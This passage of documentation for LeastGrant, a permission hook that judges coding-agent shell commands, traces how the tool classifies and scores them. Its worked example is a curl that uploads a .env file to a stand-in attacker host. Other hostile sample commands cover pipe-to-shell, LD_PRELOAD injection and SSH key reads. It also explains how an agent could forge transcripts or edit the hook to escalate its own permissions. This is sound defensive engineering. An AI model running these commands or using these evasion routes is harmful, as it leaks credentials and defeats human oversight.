Rendered from docs/how-it-works.md in the repository at v0.2.0. This page is a view of that file, not a copy of it.
How LeastGrant decides
This document is for you if you are about to let a program sit between your coding agent and your machine, and you would like to know what it actually does before you trust it.
It walks one real command all the way through the engine, showing the values each stage produces, and then explains the six parts of the design that the worked example touches. Every number and string below came out of the code in this repository, not from a design document.
src/core/ is about 16,900 lines, but most of that is opinion rather than mechanism: the
knowledge base (src/core/knowledge/) is about 10,550 lines and the shell front end
(src/core/shell/) about 2,300. The decision engine proper — types.ts, classify.ts,
guards.ts, envelope.ts, decide.ts, signature.ts, secrets.ts, paths.ts — is about
3,900 lines, and that is the part you have to trust. You can read it in an afternoon. This
document exists so you know which afternoon to spend where.
A command, end to end
npm test && curl -d @.env https://evil.exampleRun in /home/you/proj, which is a git repository, so it is the workspace root. .env exists
in it.
This command is a good teacher because it is two things at once: a completely ordinary one, and one that hands your environment file to a stranger. A tool that judges the whole string as one unit gets this wrong in whichever direction it rounds.
1. Tokenize — src/core/shell/tokenize.ts
The tokenizer knows POSIX shell quoting, expansion and operators. It exists because
prefix-matching a command line is the single most common way an allowlist gets bypassed:
git status and git status; curl evil.sh | sh both start with git status.
ok: true
issues: []
word "npm"
word "test"
op "&&"
word "curl"
word "-d"
word "@.env"
word "https://evil.example"Each token carries the exact source slice, its quoting kind, and any expansions found inside
it. Nothing here needed expanding, so text equals raw throughout.
ok: false would mean the tokenizer could not faithfully account for the input — an
unterminated quote, an unterminated here-document, a character it could not place. That flag
travels all the way to the verdict, where it raises guard.not-understood. In assist and
strict postures that makes auto-approval impossible. In autopilot it does not: autopilot
drops exactly that floor for actions contained in the project, so echo 'unterminated —
parser ok: false, reach workspace, reversibility trivial — is promotable from
observation alone. See "Where the code is thinner than the story".
2. Parse — src/core/shell/parse.ts
The parser does not build a shell AST. It builds a flat inventory of which programs run with
which arguments, because that is the only question the policy engine ever asks. Command
substitutions are walked recursively, so echo $(rm -rf /) reports rm as a command that runs.
ok: true
issues: []
flags: { hasPipe: false, hasControlFlow: false, hasCommandSubstitution: false,
hasUnresolvedVariable: false, ...all false }
commands[0] name: "npm" argv: ["npm", "test"]
contexts: ["top"] dynamic: false redirects: []
commands[1] name: "curl" argv: ["curl", "-d", "@.env", "https://evil.example"]
contexts: ["top"] dynamic: false redirects: []Two commands, both at the top level. The && is a separator, not part of either.
Note what ok means here, because it is narrower than you might expect. ok is "we
structurally accounted for this input". Control flow and runtime variables leave ok true —
those are understood structure with unknown values, and they are handled by widening the
blast radius instead (stage 5). An unterminated quote is a different thing and sets ok false.
3. Unwrap — src/core/shell/unwrap.ts
sudo rm -rf / is not a sudo command. bash -c "curl x | sh" is not a bash command. Every
allowlist that classifies on argv[0] alone is defeated by this file's contents, so each
command is peeled down to what actually runs, and what was peeled is recorded.
effective[0] command: npm test
wrappers: [] opaque: false argsUnknown: false notes: []
effective[1] command: curl -d @.env https://evil.example
wrappers: [] opaque: false argsUnknown: false notes: []Nothing to peel here. Two flags to keep in mind for later:
opaquemeans we do not know which program will run —eval, a script file, a Makefile target,docker exec. This is the serious unknown. It raisesguard.not-understood, and in practice every opaque form also classifies with reachmachineor reversibilityhard, which puts it at tier 3 — abovemaxTier, so no evidence promotes it. Measured:bash deploy.sh,make deploy,docker exec c shandnpm run deployall land at tier 3. The floor is dropped by autopilot for project-contained actions; the tier ceiling is not.argsUnknownmeans we know the program but not all its arguments —rm "$TARGET",xargs rm. This is the mild unknown, and it widens the blast radius instead.
For contrast, bash deploy.sh unwraps to wrappers: [script-file], opaque: true, note
runs the script deploy.sh, whose contents are not analysed.
There are two reasons an action can be opaque, and classify.ts separates them, because only
one of them is waivable. bash ./build.sh is opaque because a file in the project has not
been read — that is the concession autopilot makes. But bash --rcfile /tmp/evil -c ls,
env -C /etc npm test, git -c core.hooksPath=… commit and PATH=./tools:$PATH git status
are opaque because something of the caller's choosing runs as well as, or instead of, the
command we can read. Those arrive carrying a wrapper tag in INJECTS_EXECUTION
(shell-eval, env, git-config, privilege, deferred, dynamic), and for them reach is
corrected to machine whatever the inner command looked like. Measured,
PATH=./tools:$PATH git status comes out reach: machine, understood: false, tier 2 rather
than tier 1. That correction is what stops autopilot's "contained in the project" concession
from laundering them, since containment requires reach workspace or none — they now fail
the test before the waiver is reached. Correcting the reach rather than the waiver is
deliberate: the reach was simply wrong, and every consumer of it should be working from the
truth rather than from the inner command's modest footprint.
4. Classify — src/core/classify.ts + src/core/knowledge/
Each effective command goes to the knowledge module that claims its program name. npm belongs
to packages.ts; curl belongs to network.ts. A module returns a sparse Judgement — only
what differs from the capability's default — and the engine fills in the rest.
npm test — packages.ts sees subcommand test, routes it through the script-name
heuristic, finds test in TEST_SCRIPT_NAMES:
capability: exec.test
pathArgs: none
note: runs the "test" script, which by its name tests or checks the code;
the script body is not analysedThe note is doing real work. LeastGrant never reads package.json, so this classification is a
guess based on a naming convention, and the note says so in as many words. Unrecognised script
names fall through to exec.unknown with opaque: true.
curl -d @.env https://evil.example — network.ts walks argv with a curl-aware option
parser, because getting -d's value wrong is how a classifier loses the most important
argument in the command. It finds a data payload, resolves the leading @ to a file, resolves
that file to an absolute path, and asks whether it is a credential store:
capability: net.send
reach: external (remote host, and a named file is going with it)
exposure: can-exfiltrate
reversibility: irreversible
scale: single
note: uploads .env, a credential file, to evil.example
pathArgs: none
targets: { type: host, value: "evil.example" }
{ type: path, value: "/home/you/proj/.env",
inWorkspace: true, secret: true }secret: true comes from src/core/secrets.ts, which matches /^\.env(\..*)?$/i against the
basename of the canonical path.
The two finished actions:
Action A
kind: exec
capability: exec.test
signature: npm test
display: npm test
blast: { reach: workspace, reversibility: easy, exposure: none, scale: many }
targets: []
understood: true
Action B
kind: net
capability: net.send
signature: curl @.env <url:evil.example> -d
display: curl -d @.env https://evil.example
blast: { reach: external, reversibility: irreversible,
exposure: can-exfiltrate, scale: single }
targets: [ host evil.example, path /home/you/proj/.env (secret) ]
understood: true
Analysis.understood: true (parser ok, and both actions understood)
Analysis.wrapperTags: []
Analysis.pipedFromNetwork: falseAnalysis.understood is the conjunction: parser ok and every action understood. One
opaque part makes the whole request not-understood, and the not-understood floor then applies
to every action in it. That is deliberate — a command is only as knowable as its least knowable
piece — but it is worth knowing when you are reading an explanation.
5. Blast radius — src/core/knowledge/types.ts, src/core/types.ts
Blast radius is four independent dimensions, never a single score. blastTier collapses them
to 0–4 only for threshold comparisons, and never for display.
Action A: base = max(reach workspace = 1,
reversibility easy = 1,
exposure none = 0) = 1
amplifiable? reach 1 < 2, easy is not hard/irreversible,
exposure is none -> no
tier = 1
Action B: base = max(reach external = 3,
reversibility irreversible = 4,
exposure can-exfiltrate = 4) = 4
amplifiable? yes, but scale is single (+0)
tier = min(4, 4) = 4npm test runs many things and is still tier 1, because "many" only amplifies harm that is
already there. Details in the blast radius section below.
6. Floors — src/core/guards.ts
Floors are evaluated per action, against the finished blast radius and targets.
Action A (npm test): []
Action B (curl): guard.exfiltrate ask
"this sends data off the machine, so anything it can read
it can also leak"
guard.irreversible ask
"this cannot be undone"guard.exfiltrate fires on exposure === 'can-exfiltrate'. guard.irreversible fires on
reversibility === 'irreversible' whenever reach is anything other than workspace.
Note which guard does not fire: guard.secret-read. It keys on
exposure === 'reads-secrets' or capability === 'secret.read', and this action's exposure is
the strictly worse can-exfiltrate. The fact that the payload is your .env lives in
action.notes, not in a guard hit. See "Where the code is thinner than the story" at the end.
7. Familiarity — src/core/envelope.ts
The project envelope is empty, so:
familiarity(A) = { confirmed: 0, denied: 0, observed: 0, sessions: 0, days: 0,
approvalLowerBound: 0, novel: true, novelTransition: false }
familiarity(B) = same
canPromote(A, tier 1) -> { eligible: false, reason: "not-enough-evidence" }
canPromote(B, tier 4) -> { eligible: false, reason: "blast-too-high" }blast-too-high is returned before any statistic is examined. For an action above the ceiling,
evidence is not weighed and rejected — it is not looked at.
8. Verdict — src/core/decide.ts
Each action is decided on its own, then the worst one drives the verdict: deny beats ask beats
allow, and within a tie the larger blast tier wins. Both actions here land on ask, so tier 4
beats tier 1 and the curl drives.
decision: ask
floor: true
action: curl @.env <url:evil.example> -d
headline: This sends data off the machine, so anything it can read it can also leak.
reasons:
guard.exfiltrate [blocks] this sends data off the machine, so anything it can
read it can also leak
guard.irreversible [blocks] this cannot be undone
floor.explain [info] LeastGrant never auto-approves this kind of action,
however often it happens
multi.actions [info] this command runs 2 separate things; the verdict
reflects the most far-reaching onefloor: true means a hard guard fired on the driving action. It does not mean "this will
always ask". Verdict.floor is worst.hits.length > 0, computed from the raw guard hits
before rules and posture are applied, so an explicit allow rule produces decision: allow
with floor: true and the satisfied guards listed as (allowed by your rule) — verified
against the engine. An interface that renders floor as "this will always ask" is reading
more into the field than it carries.
The Claude Code hook then emits:
{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"ask",
"permissionDecisionReason":"LeastGrant: This sends data off the machine, so anything it can read it can also leak."}}Two things about that. A hook deny is absolute in Claude Code — it beats allow rules and it
beats bypassPermissions. A hook allow is not: your own deny and ask rules still override
it. And any failure of the hook — crash, timeout, exit 1 — is non-blocking, which means the
tool call proceeds. LeastGrant fails open. It is a decision layer, not a sandbox, and
src/adapters/claude-code/hook.ts says so at the top rather than burying it.
Nothing above this point was Claude-specific. A second adapter,
src/adapters/cursor/hook.ts, translates Cursor's beforeShellExecution /
beforeMCPExecution / beforeReadFile events into the same Request and calls the same
exported judgePre and recordPost — so the same command judged under either agent produces
the same signature and shares one learned history. An adapter owns the request and response
shapes and nothing else; a copy of the decision path per agent is how a fix lands in one place
and not the other. Cursor's own limits do show through: it honours ask on shell and MCP
events only, so an ask on a file read becomes allow unless the reason was
guard.secret-read or guard.self-write, and it exposes no permission mode, so Cursor
sessions learn from observation only.
Decision precedence
From decideOne in src/core/decide.ts, highest first:
- Integrity floors — deny. Currently one:
guard.self-write, which fires when a non-read action targets a path inside LeastGrant's own state directory. Nothing overrides it, not a rule you wrote, not any amount of history. It sits at the top because an agent that can quietly edit the records of what agents are allowed to do has removed the thing you installed. If you want to change LeastGrant's state, run aleastgrantcommand.
- Explicit deny rules — deny. You said never. There is nothing above this except the thing that protects the mechanism itself.
- Explicit allow rules — allow. You already answered this question.
- Ask floors — ask. Everything else in
guards.ts, which is exactly this list:guard.agent-config(editing the configuration that decides what agents may do, including the hook that runs these checks),guard.secret-read,guard.exfiltrate,guard.write-outside,guard.persistence(persistence files, and also scheduling commands —crontab,schtasks,systemctl enable,launchctl load,reg add),guard.privilege,guard.pipe-to-shell,guard.fetch-run(can download a package and run it in one step),guard.production,guard.publish,guard.irreversible, andguard.not-understood. Learning cannot unlock these, however often they happen — with the single exception ofguard.not-understoodunder autopilot, below.
- Learned promotion — allow, if the evidence clears the bar for this blast tier.
- Otherwise — ask, with a reason that says what would change the answer.
One more pass runs in decide rather than decideOne, after the per-action verdicts are
ranked. taintConcern looks at what this session has already done: if it read a credential
file and this action is net.send, any net.fetch, or exec.vcs.publish; or if it
installed packages and this action is exec.unknown. When it fires, a session.taint reason
is prepended and an allow is downgraded to ask. It only ever tightens, and it leaves a
deny alone.
The net.fetch arm does not check whether the call looks like an upload, and that is the
point. A plain GET carries whatever the agent chose to put in the URL. The sequence — read a
credential, then reach the network — is the shape that matters, not the verb.
Why an allow rule outranks an ask floor but not an integrity floor
An ask floor exists for exactly one purpose: to get a human answer before this happens. A rule
you wrote is a human answer, given in advance and in writing. Refusing to honour it would not
be extra safety, it would be asking you the same question you have already answered in the
config file, forever — which is how people turn a permission tool off. So an allow rule
satisfies the floor, and the explanation still lists every floor it satisfied, tagged
(allowed by your rule), so the record shows what the rule actually covered.
An integrity floor is different in kind. It does not exist to get your answer about the
action — it exists to make sure the mechanism that asks you questions is still there tomorrow.
A rule that says "allow writes to ~/.leastgrant/" would be a rule that disables rules. There
is no coherent reading of it, so it is not honoured.
Posture adjusts this, and each adjustment is narrow enough to state exactly:
- strict skips step 5 entirely: only explicit allow rules run without asking.
- autopilot makes two concessions, both bounded by
containedInProject, which requires reach ofworkspaceornone, exposurenone, and no target that is secret or outside the workspace. It dropsguard.not-understoodfor such actions, and it lets observation promoteeasy-reversible ones as well astrivialones. Every other floor still stands. Autopilot is aimed at someone who would otherwise be running with permissions switched off entirely, and it is strictly more protection than that. - observe decides and records but emits nothing, so the agent is never affected.
Blast radius
Four dimensions, defined in src/core/types.ts:
| dimension | values |
|---|---|
reach | none, workspace, machine, network, external, production |
reversibility | trivial, easy, hard, irreversible |
exposure | none, reads-secrets, can-exfiltrate |
scale | single, many, sweeping |
They are separate because a single number is not an explanation. "0.7314" tells you nothing you
can act on; reach: network tells you where to look. The interface renders the dimensions;
describeBlast turns them into a sentence with no numbers in it.
The ordinal exists anyway, because thresholds need one:
REACH_TIER none 0 workspace 1 machine 2 network 2 external 3 production 4
REVERSIBILITY_TIER trivial 0 easy 1 hard 3 irreversible 4
EXPOSURE_TIER none 0 reads-secrets 3 can-exfiltrate 4
SCALE_BUMP single +0 many +1 sweeping +2
base = max(REACH_TIER, REVERSIBILITY_TIER, EXPOSURE_TIER)
amplifiable = REACH_TIER >= 2
|| reversibility is hard or irreversible
|| exposure is not none
tier = min(4, base + (base > 0 && amplifiable ? SCALE_BUMP : 0))Max, not average. An action that is trivially reversible but reads your SSH key is not "medium risk". It is a secret read. Averaging is how a security tool ends up approving the one thing that mattered because three other dimensions were fine.
Scale amplifies; it does not create. Doing a recoverable, project-local thing a thousand
times is still recoverable. An echo inside a loop is not a bigger deal than an echo, and a
test run that writes a hundred build artifacts is not a bigger deal than one that writes ten.
So the scale bump only applies where there is something for it to amplify. Without the
amplifiable predicate, npm test — reach workspace, scale many — landed at tier 2 and
demanded eleven approvals instead of five, and anything that ever appeared inside a for loop
was pushed permanently out of the auto-approvable band.
The tier is compared against exactly two things: maxTier (default 2 — nothing above it is
ever promoted by any evidence) and the confidence table below.
The three kinds of evidence
Four values, but three real kinds, from EvidenceKind in src/core/types.ts:
confirmed— a human explicitly approved it. There is exactly one producer: the live hook, where it means LeastGrant saidask, the session was attended (permission mode not inbypassPermissions,acceptEdits,dontAsk,auto), andPostToolUsefired, which means it ran. Mining a transcript never produces it.evidenceForinsrc/adapters/claude-code/mine.tsreturns onlyobservedordenied, because a transcript is a file on disk: an agent talked into writing to~/.claude/projects/can fabricate months of plausible history, and measured, one forged transcript promoted an outboundcurlto an attacker-chosen host on the strength of nothing at all. So mining claims only what it can honestly claim — this is what typically happens here — and setup turns that typicality into an offer. Your answer to the offer is the attestation. A separateattendedFor()answers the different question "was anybody at the keyboard", and is used for telling you what your own history looks like, never for promoting anything.granted— you approved it in bulk duringleastgrant init, with the blast radius on screen. Same attestation, different shape: one deliberate decision, not many clicks.observed— it merely happened. Bypass mode, accept-edits, an auto-allowed tool (Read,Glob,Grep,TodoWrite,NotebookRead,WebSearch,Task). Nobody agreed to any of it.denied— you turned it down. In transcripts that istoolDenialKind: "user-rejected"or the prose "The user doesn't want to proceed with this tool use." Note where that leaves the live hook: it has no denial path at all. A call you refuse never reachesPostToolUse, so there is nothing to record and nothing is recorded. Denials reach a stored envelope only throughleastgrant init, which mines them out of the transcript afterwards.leastgrant simulatemines them too, but into a throwaway envelope it never saves. Refusing something at the prompt today therefore teaches LeastGrant nothing until that transcript is read.
The distinction is the backbone of the design, and here is why.
A learning permission system that treats "it happened" as "it was fine" can be trained by the thing it is supposed to be watching. An agent running unsupervised for a week generates thousands of events and zero decisions. If those events widened its own permissions, the correct attack is not to do anything clever — it is to be boring for long enough.
So the two uses are deliberately asymmetric. Observation is strong evidence about what is typical, and typicality is exactly what you want for anomaly detection: "this session has never gone from editing files to reading credentials" is a real signal. Observation is weak evidence about what is safe, because nobody sanctioned it. LeastGrant uses it for the first purpose freely and for the second only where being wrong cannot hurt you.
Denials are treated differently again: approvals decay, denials do not. Confirmed and
observed counts are multiplied by 0.5 ^ (age / 90 days) on every fold and on every lookup.
denied is never decayed and never divided. Saying no once means LeastGrant keeps asking, and
only a rule you write can undo it. That is simpler than a demotion schedule, more predictable
for you, and immune to waiting for the denial to expire.
The promotion gate
canPromote in src/core/envelope.ts, in reading order — preceded by the step that decides
which evidence it is even allowed to see, in familiarity:
0. bucket by tier -> only counts earned at this tier or worse are visible
1. tier > maxTier (2) -> blast-too-high never promoted, evidence not examined
2. denied > 0 -> previously-denied never promoted, evidence not examined
3. grantedAt set -> promoted
4. human-attested route
5. observation-only routeStep 0 is the one that is easiest to miss and does the most work. observe files every
occurrence into _byTier under the tier it actually reached at the time, and familiarity
sums only the buckets at or above the tier now being decided. Evidence is spent where it was
earned. Measured: a signature approved twenty times while it sat at tier 0 arrives at a tier-2
decision with confirmed: 0 and the gate answers not-enough-evidence. Without it, a
signature that was harmless for a month could be promoted at a tier it had never once been
seen at — which is the same command doing something new, wearing the old command's history.
Decay applies to the buckets and not only to the flat totals, for the same reason: otherwise
the numbers the gate reads never age.
Steps 1 and 2 come before any statistic on purpose: for an action above the ceiling or with a denial against it, no accumulation of evidence is even looked at, let alone accepted. That is what makes slow escalation structurally impossible instead of statistically unlikely.
The arithmetic
Confidence is the lower bound of a one-sided 95% Wilson interval on the approval rate, with
z = 1.645. A one-sided z is used because the claim is one-sided ("the true rate is at least
X"); using the two-sided 1.96 would silently make every threshold stricter than documented.
For a clean record — every observation an approval, no denials — the Wilson bound collapses to a closed form:
confidence(n) = n / (n + z²) z² = 2.706025which inverts to
approvals needed = ceil(confidence · z² / (1 − confidence))| confidence | approvals | check |
|---|---|---|
| 0.60 | 5 | 5 / 7.706 = 0.6488 |
| 0.70 | 7 | 7 / 9.706 = 0.7212 |
| 0.80 | 11 | 11 / 13.706 = 0.8026 |
| 0.90 | 25 | 25 / 27.706 = 0.9023 |
| 0.95 | 52 | 52 / 54.706 = 0.9505 |
You can check any of this with a calculator, which is the point of publishing it.
Required confidence by blast tier, from CONFIDENCE_BY_TIER:
| tier | required | approvals from a clean record |
|---|---|---|
| 0 | 0.60 | 5 |
| 1 | 0.60 | 5 |
| 2 | 0.80 | 11 |
| 3+ | — | never, at any level of evidence |
That last row is true at the default maxTier: 2, and only because of it — the ceiling is
checked first, so the schedule above it is never consulted. requiredConfidence does have
one, for anyone who raises the ceiling: past the table each tier keeps a quarter of the
remaining doubt, so tier 3 requires 0.95 (52 clean approvals) and tier 4 requires 0.9875
(214). It is written that way because the code used to fall back to minApproval up there,
which is lower than the tier-2 entry — so opting into promoting irreversible, machine-wide
actions bought you a discount, and the ceiling check happened to hide it at the default
setting. Right by accident is the worst kind of correct.
A single denial is expensive and stays expensive: it short-circuits the gate before the confidence is computed at all.
Route one: human-attested
Requires all of:
- at least one
confirmed, wilsonLowerBound(confirmed, confirmed + denied) >= requiredfor the tier,days >= 2(distinct UTC day-stamps),sessions >= 2(distinct session ids).
The day and session spread is what stops a burst of prompt-clicks inside one compromised session from teaching a habit.
This route can promote anything up to tier 2. That is the only route that can promote a write, a delete, or anything that touches the network.
A granted signature short-circuits straight to eligible. The day and session spread exists to
defeat a burst inside one session; a reviewed, deliberate, one-off decision made during setup
is not that. Internally the grant is stored as confirmed = approvalsNeededFor(0.8) so the
arithmetic downstream works out, and grantedAt is set so the interface says "you approved
this during setup" instead of claiming you clicked yes eleven times.
Failing this route falls through to route two rather than returning. A signature with one approval and four hundred observations is strictly better evidenced than one with four hundred observations alone, and it would be perverse for that first approval to make LeastGrant more cautious than it was the moment before.
Route two: observation-only
Requires all of:
reachisworkspaceornone, andreversibilityistrivial, andexposureisnone, andscaleis notsweeping, andobserved + confirmed >= 8, andsessions >= 2.
The predicate is stated in consequences rather than as a tier number because that is the part
you need to be able to check by reading. In practice it means reads and inspections. It cannot
promote a write, a delete, anything networked, anything credential-adjacent, or anything
outside the project — those need either a human approval or a rule you wrote, which
leastgrant init offers to collect in bulk.
The gate here is distinct sessions, not distinct days. Requiring days as well made LeastGrant useless on the first day of any project, and a repository worked on hard for one afternoon never promoted anything at all. Requiring more than one session still defeats the case that matters — a single runaway session cannot bootstrap its own trust — and everything eligible by this route is contained and reversible by construction.
Approvals count as observations here too: a human watching something run is at least as good evidence that it ran without incident.
Signatures
The signature is the identity under which learning accumulates.
git commit -m "fix login bug" and git commit -m "bump deps" are the same habit and should
count together. git push and git push --force are not. Getting that line right is most of
what makes the learning feel intelligent rather than either forgetful or reckless.
Two rules keep generalization from becoming an attack surface.
Normalize the parsed argv, never the raw string. Regexes over a command line are how two commands with different meanings collapse into one signature. Templating happens per token, after parsing and unwrapping.
Risk-relevant distinctions survive templating. From src/core/signature.ts:
| input | becomes |
|---|---|
| a path inside the workspace | <path> |
| a path outside the workspace | <path:outside:REGION> — see below |
| a path that will not resolve at all | <path:unresolved> |
| a path matching a secret pattern | <path:secret> |
| a URL | <url:hostname> — the host is kept |
a URL with no host, e.g. file:///etc/passwd | <url> |
user@host:path | <remote> |
| a git SHA | <sha> |
| a UUID | <uuid> |
| a version | <version> |
| a number | <n> |
:1234 | <port> |
| an unresolvable expansion | <dynamic> |
| a long or whitespaced string beginning with a SQL verb | <sql:select>, <sql:drop>, … |
| anything else with whitespace, or longer than 48 chars | <text> |
| anything else | itself |
Flags are kept, because they change behaviour, and sorted, because their order does not. Flag
values are normalized like positional arguments, so --output=/tmp/x becomes
--output=<path:outside:temp>.
Outside is not one place. outsideZone splits the outside token seven ways —
<path:outside:credential-tree>, :etc, :system, :runtime, :temp, :home and
:other, from a directory that sits above somebody's credentials (~, /home,
/Users/you, /etc, C:\, /);
/etc; /usr /opt /bin /sbin /lib plus C:\Windows and C:\Program Files;
/var /proc /sys /dev; anything under a tmp or temp directory; anything under
/home or /Users; and everything left over. Every outside path used to collapse into a
single <path:outside>, which meant approving one read of one file outside the project
taught LeastGrant to allow reading any file outside the project. Splitting by region keeps
the useful case — a build that reads
/usr/share/... on every run still settles — without letting that approval spread to a home
directory or a system config. It is deliberately coarse: a per-directory token would never
accumulate enough evidence to settle, which is its own failure mode.
The credential-tree zone is the one exception to "coarse". ~ and ~/Documents were both
:home, so twenty approvals of grep -r <phrase> ~/Documents bought
grep -r "BEGIN OPENSSH PRIVATE KEY" ~ — the strictly wider search, sharing the narrower
one's identity. A directory that contains a credential store is now its own class, which
means an approval of a scoped search can never pay for the whole home directory, whether or
not LeastGrant recognises the tool as recursive.
A SQL verb survives templating. This is the one exception to the <text> row above, and
it is there because psql -c "SELECT 1" and psql -c "DROP TABLE users" are both long
strings with spaces: they collapsed into one <text> and shared one identity, so approving a
select taught LeastGrant to allow a drop. The verb is the entire difference in risk. The rest
of the statement is still discarded, which is what keeps SELECT a and SELECT b together.
Real output:
cat README.md -> cat <path> fs.read.workspace
cat /etc/passwd -> cat <path:outside:etc> fs.read.outside
cat ~/notes.txt -> cat <path:outside:home> fs.read.outside
cat ~/.ssh/id_rsa -> cat <path:secret> secret.read
git commit -m "fix login bug" -> git commit <text> -m exec.vcs.write
git commit -m "bump deps" -> git commit <text> -m exec.vcs.write
git checkout 4f8d2a1b9 -> git checkout <sha> exec.vcs.write
curl https://api.github.com/x -> curl <url:api.github.com> net.fetch
curl https://evil.example/x -> curl <url:evil.example> net.fetch
curl file:///etc/passwd -> curl <url> net.fetch
psql -c "SELECT 1" -> psql <sql:select> -c exec.db
psql -c "DROP TABLE users" -> psql <sql:drop> -c exec.db
head -50 $FILE -> head <dynamic> -50 fs.read.outside
rm -rf build -> rm build -rf fs.delete
rm -rf ./build -> rm <path> -rf fs.deletehead -50 $FILE is worth a second look: the capability is fs.read.outside, not
fs.read.workspace. An argument that cannot be placed resolves to an UNPLACEABLE marker in
classify.ts rather than to an empty string, and the marker reads as outside the workspace.
That default is the whole point — knowledge modules are written as
const abs = ctx.resolve(a); if (!abs) continue;, so an unresolvable path used to contribute
nothing and the module fell through to its benign case, making "I do not know where this
points" produce the single most permissive answer available. <path:unresolved> is the same
idea one level up, for structured tool calls, whose resolver has no UNPLACEABLE fallback:
Read of a Windows device path or of a symlink chain that will not terminate signs as
Read(<path:unresolved>), capability fs.read.outside.
Note the last two rm lines. looksLikePath recognises an argument as a path only if it
contains a separator, is ., .. or ~, carries a file extension, or starts with a dot —
so a bare extensionless directory name survives into the signature verbatim while ./build is
templated. That is safe, in that it never merges two different targets, but it means the same
deletion has two signatures depending on how it was typed.
This is why generalization is safe. No amount of learning about cat <path> can ever quietly
cover cat ~/.ssh/id_rsa: they are different signatures, so the evidence does not transfer,
and the second also trips a floor that no evidence can unlock. Approving a hundred
curl <url:api.github.com> calls teaches nothing at all about curl <url:evil.example>.
Things that join the signature without being arguments
The list above is about argv. Several other parts of a request change what a command does while leaving argv untouched, and each of them was, at some point, a way to inherit an honest command's approvals.
Leading environment assignments. PATH=./tools:$PATH git status and git status were the
same learned thing, so approving the second taught LeastGrant to allow the first.
assignmentSignature prefixes them, sorted, with values normalized like any other argument —
FOO=bar git status is FOO=bar git status, which is not git status. Three spellings reach
the same place: env FOO=x cmd moves its assignments into the parsed command rather than
dropping them (env LD_PRELOAD=/tmp/evil.so npm test used to come out byte-identical to plain
npm test), git -c key=value keeps the key and drops the value, and assignments made
outside a sh -c are carried onto the payload parsed out of it, so
BASH_ENV=/tmp/evil sh -c "git status" is not git status. Names on the REDIRECTS_EXECUTION
list additionally make the action opaque; the signature is the first line, and the list is the
second.
Output redirects. echo hi and echo hi > ~/.bashrc shared a signature. Redirect targets
are appended and normalized like anything else, so those are now echo hi and
echo hi > <path:outside:home>, and the second is also reclassified fs.write.outside —
widening the blast radius alone was not enough, because the floors in guards.ts key on
capability.
dangerouslyDisableSandbox. A flag on the tool call rather than in the command string.
When it is true the signature is prefixed unsandboxed and understood is forced to
false, so npm test with the sandbox off is a different identity from npm test and is
never learnable in any posture. Opting out of a sandbox is a decision, not a habit.
MCP arguments. For a while an MCP signature was the tool name alone, and that was the
widest collision in the system: mcp__db__query was one identity, so eleven approved
SELECTs auto-approved a DROP TABLE, and get_document({}) auto-approved
get_document({destructive: true}). mcpArgSignature now appends a shape — sorted key
names with a coarse description of each value, in its own small vocabulary on top of the table
above: <id> for an identifier containing a digit, <true> / <false> kept verbatim because
force and dryRun are exactly the arguments that decide what a call does, <redacted> for
a key whose name looks credential-bearing, <text> for a prose-shaped key like title or
body, <n>, <null>, <list of …> from the first element only, and {…} to a depth of
two. Measured output:
mcp__db__query({sql: "SELECT 1"}) -> mcp__db__query(sql=<sql:select>)
mcp__db__query({sql: "DROP TABLE t"}) -> mcp__db__query(sql=<sql:drop>)
mcp__acme__get_document({}) -> mcp__acme__get_document()
{destructive: true} -> mcp__acme__get_document(destructive=<true>)
{token: "sk-…", path: "/etc/hosts"} -> mcp__acme__get_document(path=<path:outside:etc>,
token=<redacted>)The <id> rule is MCP-specific: a shell argument with a digit in it is kept verbatim, but MCP
calls are overwhelmingly "do this to record ABC-123", and one identity per ticket would mean a
prompt for every ticket the agent ever opens.
And nothing credential-shaped leaves analyze(). Signatures are passed through redact()
at the boundary, alongside display. --password=hunter2supersecret and
AWS_SECRET_ACCESS_KEY=wJal… both survive templating — a short argument with no whitespace
looks exactly like the identifier that ought to be kept — so the secret landed in the
envelope, in the session file, and worst of all in denials.jsonl, which is append-only and
by design never pruned or decayed, so it outlived every other copy. Scrubbing at the boundary
rather than at each of the places a signature is assembled is deliberate: those are many and
will grow, and the property wanted is about the boundary. It costs nothing in precision, since
two different passwords to the same command were never usefully different learned identities.
mysql --password=hunter2supersecret -e "SELECT 1"
-> mysql <sql:select> --password=«redacted:flag-value» -e
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMIK7MDENGbPxRfiCYEXAMPLEKEY aws s3 ls
-> AWS_SECRET_ACCESS_KEY=«redacted:env-secret» aws s3 lsThere is one deliberately coarser key, familyOf, which keeps the first two words of a
signature — git push --force maps to family git push — plus a third when the second is a
dispatch word like run, remote or config, so that git remote add <text> does not
collapse into git remote. It exists to explain a decision or to order suggestions, and
never to grant permission, because a family is exactly the kind of generalization an attacker
would aim at. As of this writing nothing calls it; the intent is documented here because the
function is exported and someone will.
Prequential replay
src/replay.ts, exposed as leastgrant simulate.
Replay answers "what would LeastGrant have done?" against your actual history. It is prequential: events are sorted by time, each decision is made using only the envelope as it stood before that event, and only then is the event folded in.
The alternative — build the model from all of history, then grade it on the same history — is much easier and much more flattering, and the number it produces means nothing. It is testing on your training data. A model that has already seen every command you will ever run, being asked how many of them look familiar, will always answer "all of them". You would get a headline percentage that describes memorisation rather than learning, and it would not predict anything about tomorrow.
Doing it in time order costs nothing and buys two things. The number is honest. And you get the
learning curve for free: firstQuarterAskRate against lastQuarterAskRate, measured per
project rather than by calendar time, because measured by calendar time the curve is dominated
by whichever repository happened to start most recently.
Three details worth knowing:
- Projects with fewer than 40 decisions are excluded from the learning curve. A repository someone touched once cannot demonstrate a trend.
- Denials are attributed to the worst action in the command, not to every part of it. The human refused a command, not each of its pieces;
cd build && rm -rf /is one refusal, and attributing it tocdwould blacklistcdforever, since denials never decay. The other actions record nothing at all — they did not run, so they are not observations either. - The metric that matters is not the prompt reduction. It is
regrets: actions LeastGrant would have waved through that you actually turned down. One of those is worth more attention than any headline percentage.
How to add knowledge
The knowledge layer is the part of LeastGrant that is opinion rather than mechanism, which
makes it both the most useful thing to contribute to and the safest — being wrong about
terraform cannot break git.
A module answers one question for a family of programs: given this argv, what capability is being used and how far can it reach?
export type Classifier = (argv: string[], ctx: KnowledgeCtx) => Judgement | null;
export interface ProgramKnowledge {
/** Base program names handled, lowercased, no extension. */
names: string[];
/** One-line description, surfaced by `leastgrant knowledge`. */
describe: string;
classify: Classifier;
}That describe comment is aspirational — there is no leastgrant knowledge command. See the
last section.
ctx gives you cwd, roots, and three functions: resolve(arg) to a canonical absolute
path, inWorkspace(abs), and isSecret(abs). Use them rather than string-matching paths
